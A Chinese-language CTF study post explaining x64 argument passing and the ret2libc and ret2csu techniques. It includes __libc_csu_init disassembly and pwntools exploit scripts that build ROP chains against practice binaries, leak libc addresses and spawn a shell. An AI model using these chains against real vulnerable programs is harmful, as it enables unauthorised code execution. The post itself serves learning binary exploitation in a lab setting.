最近,跟着ctf-wiki的进度,在研究64位下ret2csu,发现对之前的Ret2Libc在64位中的用法及64位的函数有些误解导致ret2csu卡了好久.故写文以记之.
64位函数参数传递方式
Linux x64
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。例:
1 2 3
| H(a, b, c, d, e, f); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 call H
|
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中(即和32位汇编一样)
1 2 3 4 5
| H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H
|
Win 64
与linux不同,win64中前4个参数总是放在寄存器中传递,剩余的参数则压入堆栈中这4个用于存放参数的寄存器分别是:存放整数参数的RCX,RDX,R8,R9;存放浮点数参数的XMM0,XMM1,XMM2,XMM3。
Linux x64 ret2bilc
文件地址:64pwn
在做ctfshow pwn题时,发现有一道题用ret2text本地打得通远程打不通.故想用ret2bilc1的方法来获得shell.然后就踩了一个关于x64函数调用的坑。在Linux x64中,函数会先调用寄存器里面的,然后再调用栈里。(之前一直当成x32那样,把参数直接写在栈上所以失败了)
通过ROPgadget --binary 64pwn --only 'pop|ret'
:
发现有直接操控第一个参数(rdi)的gadget。
通过ROPgadget --binary 64pwn --string '/bin/sh'
:
找到/bin/sh
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * from LibcSearcher import LibcSearcher
e=ELF('./64pwn')
context.terminal = ['tmux', 'splitw', '-h']
p=process('./64pwn') gdb.attach(p,'b main')
pay = "a" *12+p64(0)+p64(0x0000400643)+p64(0x0000000000400664)+p64(e.plt['system'])+p64(e.plt['system']) print(len("a" *12+p64(0)+ p64(e.symbols['getFlag']))) print(hex(e.symbols['getFlag'])) p.sendline(pay) p.interactive()
|
Linux x64 ret2csu
由上面的题可以看见,我们不是每次都能同时控制 rdi, rsi, rdx, rcx, r8, r9这些传递参数的寄存器。因此我们可以,一些默认编译的函数中的 gadgets,来间接达到控制 rdi, rsi, rdx, rcx, r8, r9寄存器.
在一般的x64位程序,经常会编译以下函数:
1 2 3 4 5 6 7 8 9 10
| _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini
|
我们可以在这些函数里,去找有没有我们可以利用的gadgets。
以__libc_csu_init
函数为例,__libc_csu_init
的汇编代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| .text:00000000004005E0 .text:00000000004005E0 ; void _libc_csu_init(void) .text:00000000004005E0 public __libc_csu_init .text:00000000004005E0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005E0 ; __unwind { .text:00000000004005E0 push r15 .text:00000000004005E2 push r14 .text:00000000004005E4 mov r15, rdx .text:00000000004005E7 push r13 .text:00000000004005E9 push r12 .text:00000000004005EB lea r12, __frame_dummy_init_array_entry .text:00000000004005F2 push rbp .text:00000000004005F3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005FA push rbx .text:00000000004005FB mov r13d, edi .text:00000000004005FE mov r14, rsi .text:0000000000400601 sub rbp, r12 .text:0000000000400604 sub rsp, 8 .text:0000000000400608 sar rbp, 3 .text:000000000040060C call _init_proc .text:0000000000400611 test rbp, rbp .text:0000000000400614 jz short loc_400636 .text:0000000000400616 xor ebx, ebx .text:0000000000400618 nop dword ptr [rax+rax+00000000h] .text:0000000000400620 .text:0000000000400620 loc_400620: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400620 mov rdx, r15 .text:0000000000400623 mov rsi, r14 .text:0000000000400626 mov edi, r13d .text:0000000000400629 call qword ptr [r12+rbx*8] .text:000000000040062D add rbx, 1 .text:0000000000400631 cmp rbp, rbx .text:0000000000400634 jnz short loc_400620 .text:0000000000400636 .text:0000000000400636 loc_400636: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400636 add rsp, 8 .text:000000000040063A pop rbx .text:000000000040063B pop rbp .text:000000000040063C pop r12 .text:000000000040063E pop r13 .text:0000000000400640 pop r14 .text:0000000000400642 pop r15 .text:0000000000400644 retn .text:0000000000400644 ; } // starts at 4005E0 .text:0000000000400644 __libc_csu_init endp .text:0000000000400644
|
我们仔细观察可以发现在0x000000000040063A到0x0000000000400644的gadget可以让我们控制到rbx、rbp、r12、r13、r14、r15.而0x0000000000400620到0x0000000000400629的gadget我们可以让我们通过rbx、rbp、r12、r13、r14、r15寄存器可以让我们间接控制rdx、rsi、edi甚至在rbx、rbp合理的情况(rbx值为0,rbp为1)下可以让我们call一个函数。
leve5
以leve5为例来说,我们可以通过之前说的__libc_csu_init
中的那两个gadget来控制一个来函数。先查看leve5属性.
查看文件,发现没有命令执行函数与/bin/sh
,要通过write出实际地址,计算偏移找libc。
同时,write要3个参数:write (int fd, const void * buf, size_t count)
1 2 3 4 5 6 7 8 9 10 11
| ---------------------------------- | 寄存器和指令 | 存储数据 | ---------------------------------- | rdi | 1 | rdi存放第一参数,标准输出文件描述符:fd = 1 ---------------------------------- | rsi | write_got | rsi存放第二参数,需要输出的内存地址:*buf = write_got ---------------------------------- | rdx | 8 | rdx存放第三参数,输出字节数:count = 8 ---------------------------------- | call | write_got | call write_got调用write函数 ----------------------------------
|
所以我们要rdi,rsi,rdx三个寄存器,因此我们可以用__libc_csu_init里的gadgets来控制rbx、rbp、r12、r13、r14、r15来间接控制 rdi, rsi, rdx。
同样的方式来调用read将shell写入,及调用写入的shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher import LibcSearcher import pwnlib
context.terminal = ['tmux', 'splitw', '-h']
p=process('./level5')
e=ELF('./level5')
bss_addr=0x601028
def csu(g1,g2,buf,rbx,rbp,r12,r13,r14,r15,lest_cell): pay='a'*buf+p64(0) pay=pay+p64(g1)+p64(0) pay=pay+p64(rbx)+p64(rbp) pay=pay+p64(r12)+p64(r13)+p64(r14)+p64(r15) pay=pay+p64(g2) pay=pay+'\00'*0x38+p64(lest_cell)
return pay
pay=csu(0x0000000000400606,0x0000000004005F0,0x80,0,1,e.got['write'],1,e.got['write'],8,e.symbols['main'])
x=p.recvline() print(x+'this one')
p.sendline(pay) sleep(3)
puts_real=p.recv(8)
libc = LibcSearcher('write', u64(puts_real)) libcbase =u64(puts_real) - libc.dump('write')
system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') binsh="/bin/sh\n" sleep(1) pay=csu(0x0000000000400606,0x0000000004005F0,0x80,0,1,e.got['read'],0,bss_addr,16,e.symbols['main']) print(p.recvline()+'this two')
p.sendline(pay) sleep(2)
p.send(p64(system_addr)+"/bin/sh\0")
print(len(p64(system_addr)+"/bin/sh\0")) sleep(2)
pay=csu(0x0000000000400606,0x0000000004005F0,0x80,0,1,bss_addr,bss_addr+8,0,0,e.symbols['main'])
sleep(2) p.send(pay) sleep(2) print(p.recvline()+'this three')
p.interactive()
|
这里要注意的是,第二个gadge后,会按正常执行顺序再次进入第一个gadge,这次栈顶提高了0x38,因此我们要加0x38字符填充。
参考文献
https://wizardforcel.gitbooks.io/re-for-beginners/content/Part-VI/Chapter-64.html
https://www.yuque.com/hxfqg9/bin/pqc1nq